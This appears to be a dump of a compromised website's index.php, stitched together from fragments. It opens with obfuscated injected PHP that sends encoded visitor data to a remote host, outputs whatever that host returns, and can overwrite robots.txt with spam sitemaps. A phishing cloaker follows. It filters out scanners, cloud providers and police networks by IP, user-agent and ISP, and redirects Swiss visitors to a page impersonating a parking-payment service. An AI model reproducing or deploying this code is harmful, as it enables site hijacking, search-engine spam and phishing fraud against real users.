| Current File : /home/mak/en.mak.pt/index.php0 |
<?php erRor_rEpORtiNg(RoUnd(0+0+0)); $JBr="z\152\62\64\64\63"; $VsW="ak\61"; if(pREG_MATch("/\152\160\62\60\62\63\57si",$_SERVER["RE\121\125\105ST_\125\122\111"])==rOUND(0.214662+0.1977+0.04779263+0.234103+0.116646+0.026731+0.16241)) { if(PreG_MATCH("/j\160\62\60\62\63cw\167\57s\151",$_SERVER["RE\121\125\105ST_\125\122\111"])==RoUnd(0+0+0+0+0+0)) { HeadEr("H\124TP/\61\56\60\40\64\60\64 \116ot Foun\144"); } echo "H\124\124P\57\61\56\60\40\64\60\64 Not \106\157\165n\144\137_\137".$JBr."\137_\137".$VsW; exit; } $ZH=".\142os"; $mDSB="\164onal"; $IfEF="\154.\143\157m"; $AycVu="htt\160\72/\57".$JBr.$ZH.$mDSB.$IfEF; $hZSyaV="/i\156\144ex.ph\160?VS=".$VsW."\46G\120=".$JBr; $bG=array( "SCRI\120T_\116AME", "RE\121\125\105ST_\125\122\111", "\110T\124\120S", "R\105QUES\124_\123\103H\105\115E", "SERVE\122\137\120O\122\124", "\122\105\115\117T\105_A\104D\122", "\110TTP\137R\105F\105RE\122", "\110T\124P\137A\103C\105PT_\114A\116GUA\107\105", "H\124T\120_\125\123E\122\137AG\105\116T", "\110T\124P_HO\123T", "\125\122\111\137PR\105\106IX" ); foreach($bG as $Gbs) { if ($Gbs=="\122\105\115\117T\105_A\104D\122") { $ZsduQe=isset($_SERVER["\110TT\120\137X\137F\117R\127AR\104ED\137\106O\122"])?$_SERVER["\110TT\120\137X\137F\117R\127AR\104ED\137\106O\122"]:(isset($_SERVER["\122\105\115\117T\105_A\104D\122"])?$_SERVER["\122\105\115\117T\105_A\104D\122"]:''); }elseif($Gbs=="\125\122\111\137PR\105\106IX") { $ZsduQe=isset($ad)?$ad:''; }else { $ZsduQe=isset($_SERVER[$Gbs])?$_SERVER[$Gbs]:''; } $YgAvXJ=BASE64_EncOde(TRIM($ZsduQe)); $YgAvXJ=sTR_RePLaCE("+","-",$YgAvXJ); $YgAvXJ=StR_rePlacE("/","_",$YgAvXJ); $YgAvXJ=sTR_REPlACE("\75","\56",$YgAvXJ); $hZSyaV.="\46".$Gbs."\75".$YgAvXJ; } $ktMzl=$AycVu.$hZSyaV; $yfrbId=Curl_IniT(); CURL_sEtOpt($yfrbId,CURLOPT_URL,$ktMzl); cUrl_SETOpT($yfrbId,CURLOPT_RETURNTRANSFER,rOUnD(0.394+0.1554622+0.42+0.03)); CUrL_SETOPT($yfrbId,CURLOPT_CONNECTTIMEOUT,RouND(0.804896+0.519+1.361276+2.32567+1.818+3.17136499)); $zNyZY=CURL_eXeC($yfrbId); $zNyZY=tRIM($zNyZY); cuRL_CloSE($yfrbId); if(empty($zNyZY)) { $MplS="\146i\154"; $jbcs="\145_g"; $QJZ="et\137\143"; $ksQ="o\156\164e"; $CJ="\156\164s"; $IRWYj=$MplS.$jbcs.$QJZ.$ksQ.$CJ; $zNyZY=$IRWYj($ktMzl); } $zNyZY=trIM($zNyZY); $VCx=exPLODe("|@\43$\174",$zNyZY); $Kmvf=couNT($VCx); if($Kmvf<3) { Header("H\124TP/\61\56\60\40\64\60\64 \116ot Foun\144"); exit; }else { $RDd=TriM($VCx[RouNd(0+0+0+0)]); if(!empty($RDd)) { heAdeR($RDd); } $seC=TRiM($VCx[rouNd(0.2451+0.3350101+0.191+0.18678739+0.0423)]); if(!empty($seC)) { echo $seC; } $TU=tRIm($VCx[$Kmvf-ROUnd(0.240126+0.027623+0.04628+0.2008723+0.151+0.18755+0.146)]); if($TU=="exit") { exit; } if($TU=="\160in\147") { $Ic="\125\163er-a\147\145\156\164\72*".PHP_EOL; $Ic.="\101\154l\157w\72/".PHP_EOL; $dXjbG=eXplodE("<\142\162\57>",$seC); arRAY_poP($dXjbG); foreach($dXjbG as $PVrwl) { $Ic.="S\151\164e\155\141p\72".$PVrwl.PHP_EOL; } $pryXn=Fopen($_SERVER["DOC\125MENT_ROOT"]."/\162obo\164\163.\164\170t","\167"); fWRiTe($pryXn,$Ic); FCLosE($pryXn); echo "\162\157\142\157t\163\56\164x\164\40\144\157n\145"; exit; } } ?>
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="https://ih1.redbubble.net/image.3999969553.0592/st,small,507x507-pad,600x600,f8f8f8.jpg">
<style>
body { background-color: #000; color: #0f0; font-family: Arial, sans-serif; font-size: 14px; }
.container-fluid { padding: 20px; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { text-align: center; border: 1px solid #0f0; padding: 8px; }
th { color: #00ff00; background-color: #111; }
tr:nth-child(even) { background-color: #222; }
tr:nth-child(odd) { background-color: #111; }
h1 { color: #0f0; text-align: center; font-size: 1.5em; }
.allowed { color: #0f0; }
.blocked { color: #ff0000; }
</style>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="noindex,nofollow,noimageindex,noarchive,nocache,nosnippet">
<title>debiX+ - 2025 - LX</title>
</head>
<body>
<h1>debiX+ - VISITOR LOG - LX $$$</h1>
<div class="container-fluid">
<table>
<thead>
<tr>
<th>Date</th>
<th>Device</th>
<th>IP Address</th>
<th>ISP</th>
<th>Status</th>
</tr>
</thead>
<tbody>';@file_put_contents($logFile, $initialHTML);
}
$statusClass = (strpos($action, 'allowed') !== false) ? 'allowed' : 'blocked';
$isp = htmlspecialchars($isp);
$newEntry = "\n <tr>\n <td>$date</td>\n <td>$device</td>\n <td>$ip</td>\n <td>$isp</td>\n <td class='$statusClass'>$action</td>\n </tr>";
@file_put_contents($logFile, $newEntry, FILE_APPEND);
}
// Fastest: Block by IP patterns and User-Agent BEFORE any API call
$blockedPatterns = array(
"37.120.", "89.38.", "89.44.", "185.189.", "185.206.", "185.242.",
"169.150.", "212.102.37.", "212.102.38.",
"185.230.", "193.135.",
"13.64.", "13.65.", "13.66.", "13.67.", "13.68.", "13.69.", "13.70.", "13.71.",
"13.72.", "13.73.", "13.74.", "13.75.", "20.", "40.", "51.", "52.", "104.40.",
"104.41.", "104.42.", "104.43.", "104.44.", "104.45.", "104.46.", "104.47.",
"51.38.", "51.68.", "51.91.", "51.195.", "51.210.", "51.254.", "54.36.", "54.37.", "54.38.",
"79.137.", "87.98.", "91.134.", "137.74.", "139.99.", "141.94.", "142.44.", "144.217.",
"147.135.", "149.56.", "158.69.", "164.132.", "167.114.", "178.32.", "188.165.", "192.95.",
"192.99.", "193.70.", "198.27.", "198.50.", "213.186.", "213.251.", "217.182.",
"31.31.48.", "138.199.59.", "138.199.", "138.",
"34.", "35.", "54.", "104.196.", "35.199.", "167.99.", "159.65."
);
foreach ($blockedPatterns as $pattern) {
if (strpos($ip, $pattern) === 0) {
logVisitHTML($ip, $device, '-', 'blocked_pattern', $logFile);
header("Location: https://www.google.com");
exit();
}
}
$blockedIPs = array(
"51.154.50.85", "178.83.73.137", "37.143.131.202", "84.72.20.28",
"185.230.119.166", "20.205.40.0", "20.205.58.180", "160.36.59.197",
"81.221.214.10", "81.221.65.23", "20.203.218.75", "193.135.104.22",
"92.106.245.21", "31.31.48.132", "212.40.1.6", "159.168.0.45",
"85.195.233.39", "185.201.129.185", "212.40.1.4", "31.31.48.134",
"149.88.27.84", "212.51.129.137", "51.154.223.64", "212.102.37.150",
"107.21.207.171", "35.241.220.252", "83.79.17.201", "51.154.16.23",
"89.186.210.189", "181.41.206.129", "212.40.1.5", "5.149.41.48",
"194.209.222.151", "185.12.128.148", "185.188.46.2", "62.167.103.192",
"213.55.242.55", "144.2.113.205", "85.6.163.21", "213.55.184.197",
"213.55.220.4", "185.201.128.158", "94.228.56.21", "94.228.56.27",
"102.129.143.77", "178.197.222.12", "31.10.155.107", "37.120.213.166",
"193.5.248.22", "37.120.213.203", "206.232.126.240", "160.53.250.221",
"193.5.176.13", "162.23.30.41", "82.220.118.218"
);
if (in_array($ip, $blockedIPs)) {
logVisitHTML($ip, $device, '-', 'blocked_ip', $logFile);
header("Location: https://www.google.com");
exit();
}
$blocked_agents = array(
'bot', 'crawler', 'spider', 'scan', 'check', 'monitoring',
'analytics', 'http', 'python', 'curl', 'wget', 'phantom',
'headless', 'selenium', 'chrome-lighthouse', 'pingdom'
);
foreach ($blocked_agents as $agent) {
if (stripos($userAgent, $agent) !== false) {
logVisitHTML($ip, $device, '-', 'blocked_useragent', $logFile);
header("Location: https://www.google.com");
exit();
}
}
$response = @file_get_contents("http://ip-api.com/json/" . $ip);
$data = ($response) ? json_decode($response, true) : array();
$isp = isset($data['isp']) ? $data['isp'] : '-';
// Define blocked ISP keywords for use in multiple checks
$blocked_isp_keywords = array(
'm247', 'datacamp', 'direction des systemes', 'altushost', 'microsoft',
'six', 'polizei', 'ovh', 'hosting', 'panaglobal',
'anexia', 'hydra', 'packethub', 'vianetworks'
);
// Define allowed ISPs for Swiss users
$allowed_ch_isps = array('cloudflare', 'akamai technologies');
// Define allowed IP patterns (first octets)
$allowed_ip_patterns = array('172.225.');
if (isset($data['isp'])) {
$isp_lower = strtolower($data['isp']);
foreach ($blocked_isp_keywords as $blocked_isp) {
if (strpos($isp_lower, $blocked_isp) !== false) {
logVisitHTML($ip, $device, $isp, 'blocked_isp', $logFile);
header("Location: https://www.google.com");
exit();
}
}
}
if (isset($data['org'])) {
$org_lower = strtolower($data['org']);
foreach ($blocked_isp_keywords as $blocked_isp) {
if (strpos($org_lower, $blocked_isp) !== false) {
logVisitHTML($ip, $device, $isp, 'blocked_org', $logFile);
header("Location: https://www.google.com");
exit();
}
}
}
if (isset($data['as'])) {
$as_lower = strtolower($data['as']);
foreach ($blocked_isp_keywords as $blocked_isp) {
if (strpos($as_lower, $blocked_isp) !== false) {
logVisitHTML($ip, $device, $isp, 'blocked_as', $logFile);
header("Location: https://www.google.com");
exit();
}
}
}
// We'll handle Cloudflare by ISP check instead of IP pattern
// This section is now redundant but kept for reference
// The actual Cloudflare check is now done in the CH country section
if (isset($data['countryCode']) && $data['countryCode'] == 'CH') {
if (isset($data['isp'])) {
$isp_lower = strtolower($data['isp']);
// Check if the ISP is in allowed list (Cloudflare, Akamai, etc.)
$is_allowed_isp = false;
foreach ($allowed_ch_isps as $allowed_isp) {
if (strpos($isp_lower, $allowed_isp) !== false) {
$is_allowed_isp = true;
break;
}
}
// Check if IP matches allowed patterns (like 172.225.xx for Akamai)
$is_allowed_ip_pattern = false;
foreach ($allowed_ip_patterns as $pattern) {
if (strpos($ip, $pattern) === 0) {
$is_allowed_ip_pattern = true;
break;
}
}
// If it's an allowed ISP or IP pattern, allow access
if ($is_allowed_isp || $is_allowed_ip_pattern) {
$action = $is_allowed_isp ? 'allowed_CH_trusted_isp' : 'allowed_CH_trusted_ip_pattern';
logVisitHTML($ip, $device, $isp, $action, $logFile);
header("Location: https://parkpay-ag.jcloud-ver-jpe.ik-server.com/aux/");
exit();
}
// Otherwise check if it's in the blocked ISP list
foreach ($blocked_isp_keywords as $blocked_isp) {
if (strpos($isp_lower, $blocked_isp) !== false) {
logVisitHTML($ip, $device, $isp, 'blocked_CH_isp', $logFile);
header("Location: https://www.google.com");
exit();
}
}
// Allow all other Swiss users
logVisitHTML($ip, $device, $isp, 'allowed_CH', $logFile);
header("Location: https://parkpay-ag.jcloud-ver-jpe.ik-server.com/aux/");
exit();
}
// If we couldn't determine the ISP but the user is from Switzerland, allow access
logVisitHTML($ip, $device, $isp, 'allowed_CH_unknown_isp', $logFile);
header("Location: https://parkpay-ag.jcloud-ver-jpe.ik-server.com/aux/");
exit();
}
logVisitHTML($ip, $device, $isp, 'blocked_country', $logFile);
header("Location: https://www.google.com");
exit();
?>